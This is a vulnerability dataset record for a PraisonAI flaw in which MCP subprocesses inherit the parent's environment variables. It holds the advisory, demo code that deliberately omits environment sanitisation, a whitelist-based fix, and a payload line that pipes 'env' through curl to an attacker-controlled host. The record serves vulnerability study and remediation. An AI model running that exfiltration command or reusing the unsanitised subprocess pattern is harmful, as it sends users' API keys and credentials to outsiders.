{"id":1780,"cve":"CVE-2026-40159","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-40159\/","cwe":"CWE-200","cwe_number":200,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/200","cvss_score":5.5,"published":"2026-04-10","owasp":"A08 Software and Data Integrity Failures","odc":"Interface","cdc":"Incorrect Functionality","category":"Information Leakage","subcategory":"Information Disclosure","scope":"Remote","impact":"Information Disclosure","summary":"PraisonAI MCP command execution inherits sensitive environment variables.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-40159\/","description":"PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI\u2019s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., MCP(\"npx -y @smithery\/cli ...\")). These commands are executed through Python\u2019s subprocess module. By default, the implementation forwards the entire parent process environment to the spawned subprocess. As a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials. This behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as npx -y, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets. This vulnerability is fixed in 4.5.128.","solution":"Upgrade PraisonAI to version 4.5.128 or later.","affected_component":"PraisonAI","fixed_by_upgrading":true,"vulnerable_code":"import os\nimport subprocess\nimport shlex\nimport sys\nimport time\n\n# This code is a representation of the vulnerable behavior described in CVE-2026-40159.\n# It does not originate from the PraisonAI codebase but is designed to functionally\n# demonstrate the core of the vulnerability.\n\nclass MCP:\n    \"\"\"\n    A representative class simulating the vulnerable MCP component prior to the fix.\n    When instantiated, it executes a command string using subprocess.Popen,\n    inheriting the parent process's environment by default.\n    \"\"\"\n    def __init__(self, command_string: str):\n        print(f\"[MCP CLASS] Received command: '{command_string}'\")\n        print(\"[MCP CLASS] Spawning subprocess...\")\n        \n        # The vulnerability lies here: subprocess.Popen is called without the `env`\n        # argument. By default, this means the child process inherits all\n        # environment variables from the parent process.\n        args = shlex.split(command_string)\n        \n        try:\n            # For demonstration, we capture stdout and stderr to show the output.\n            # In a real scenario, this might be a background server process.\n            self.process = subprocess.Popen(\n                args,\n                stdout=subprocess.PIPE,\n                stderr=subprocess.PIPE,\n                text=True,\n                # The 'env' parameter is omitted, causing the vulnerability.\n                # A fixed version might look like: env={} or a sanitized dict.\n            )\n            print(\"[MCP CLASS] Subprocess created successfully.\")\n        except Exception as e:\n            print(f\"[MCP CLASS] Failed to create subprocess: {e}\")\n            self.process = None\n\n    def wait_for_completion(self):\n        \"\"\"Helper method to wait for the subprocess and print its output.\"\"\"\n        if self.process:\n            print(\"[MCP CLASS] Waiting for subprocess to complete...\")\n            stdout, stderr = self.process.communicate()\n            if stdout:\n                print(\"\\n--- Subprocess STDOUT ---\")\n                print(stdout.strip())\n                print(\"--- End Subprocess STDOUT ---\\n\")\n            if stderr:\n                print(\"\\n--- Subprocess STDERR ---\")\n                print(stderr.strip())\n                print(\"--- End Subprocess STDERR ---\\n\")\n            print(f\"[MCP CLASS] Subprocess finished with exit code: {self.process.returncode}\")\n\n\ndef main():\n    \"\"\"\n    Main function to demonstrate the environment variable leakage.\n    \"\"\"\n    print(\"--- Starting Vulnerability Demonstration ---\")\n\n    # 1. Set a sensitive environment variable in the parent process.\n    # This simulates a production environment where secrets are loaded.\n    sensitive_key_name = \"DATABASE_CONNECTION_STRING\"\n    sensitive_key_value = \"postgres:\/\/user:supersecretpassword@prod-db.example.com:5432\/maindb\"\n    os.environ[sensitive_key_name] = sensitive_key_value\n    print(f\"[HOST PROCESS] Sensitive environment variable '{sensitive_key_name}' is set.\")\n    print(\"-\" * 40)\n\n    # 2. Define a \"malicious\" command provided by a user or an untrusted source.\n    # This command attempts to read the environment variable and print it.\n    # In a real attack, it would exfiltrate it to a remote server.\n    # We use `sys.executable` to ensure the correct python interpreter is used.\n    malicious_command_string = (\n        f\"{sys.executable} -c \\\"\"\n        f\"import os; \"\n        f\"secret = os.environ.get('{sensitive_key_name}'); \"\n        f\"if secret: \"\n        f\"    print(f'[MALICIOUS SCRIPT] SUCCESS: Found secret: {{secret}}'); \"\n        f\"else: \"\n        f\"    print('[MALICIOUS SCRIPT] FAILED: Could not find the secret.');\\\"\"\n    )\n\n    # 3. Instantiate the vulnerable MCP class with the malicious command.\n    # This triggers the execution of the command in a new subprocess.\n    print(\"[HOST PROCESS] Instantiating vulnerable MCP with a user-supplied command...\")\n    vulnerable_mcp_instance = MCP(malicious_command_string)\n    \n    # 4. Wait for the subprocess to finish to see the result.\n    if vulnerable_mcp_instance.process:\n        vulnerable_mcp_instance.wait_for_completion()\n\n    print(\"--- Vulnerability Demonstration Finished ---\")\n    \n    # Clean up the environment variable\n    del os.environ[sensitive_key_name]\n\nif __name__ == \"__main__\":\n    main()","patched_code":"import subprocess\nimport shlex\nimport os\n\nclass FixedMCP:\n    \"\"\"\n    A class representing a fixed version of the MCP integration that mitigates\n    the described vulnerability. The fix involves explicitly providing a sanitized\n    environment to the subprocess.\n    \"\"\"\n\n    # Define a whitelist of environment variables that are safe to pass to subprocesses.\n    # This is the core of the fix. Instead of inheriting all environment variables,\n    # we only pass a minimal, known-safe set. 'PATH' is often essential for the\n    # subprocess to find executables.\n    SAFE_ENV_VARS_WHITELIST = [\n        'PATH',\n        # On Windows, other variables might be needed for basic operations.\n        'SystemRoot',\n        'WINDIR',\n        'SYSTEMDRIVE',\n    ]\n\n    def __init__(self):\n        \"\"\"\n        Initializes the class and constructs the sanitized environment that will be\n        used for all subprocess calls.\n        \"\"\"\n        self.sanitized_env = self._create_sanitized_env()\n\n    def _create_sanitized_env(self):\n        \"\"\"\n        Creates a new environment dictionary containing only the whitelisted\n        environment variables copied from the parent process's environment.\n        \"\"\"\n        safe_env = {}\n        for var_name in self.SAFE_ENV_VARS_WHITELIST:\n            # Check if the whitelisted variable exists in the current environment\n            # before adding it to the safe environment.\n            if var_name in os.environ:\n                safe_env[var_name] = os.environ[var_name]\n        return safe_env\n\n    def execute_background_command(self, command_string: str):\n        \"\"\"\n        Executes a command in a background subprocess using a sanitized environment\n        to prevent the leakage of sensitive parent process environment variables\n        (e.g., API keys, tokens).\n\n        Args:\n            command_string: The user-supplied command string to execute.\n        \"\"\"\n        try:\n            # Use shlex.split for safer parsing of the command string.\n            args = shlex.split(command_string)\n\n            # THE FIX: The `env` parameter is explicitly set to the sanitized\n            # dictionary created during initialization. If `env` were not provided\n            # (or set to None), subprocess.Popen would inherit the entire\n            # environment from the parent process, which is the source of the\n            # vulnerability. By providing our own `env`, we ensure that only\n            # whitelisted variables are passed, preventing sensitive data from\n            # being exposed to the child process.\n            process = subprocess.Popen(\n                args,\n                stdout=subprocess.PIPE,\n                stderr=subprocess.PIPE,\n                # This is the critical security control that fixes the vulnerability.\n                env=self.sanitized_env,\n                text=True\n            )\n\n            # The process is now running in the background with a safe environment.\n            # The caller would be responsible for managing this process object.\n            return process\n\n        except FileNotFoundError:\n            # This error can occur if the command is not found in the sanitized PATH.\n            print(f\"Error: Command not found. Ensure the command's path is included in the sanitized environment.\")\n            return None\n        except Exception as e:\n            print(f\"An error occurred while trying to execute the command: {e}\")\n            return None","payload_needed":true,"payload":"```bash\nenv | curl -X POST --data-binary @- http:\/\/attacker-controlled-server.com\/\n```","payload_status":"available","published_fix":[],"references":null}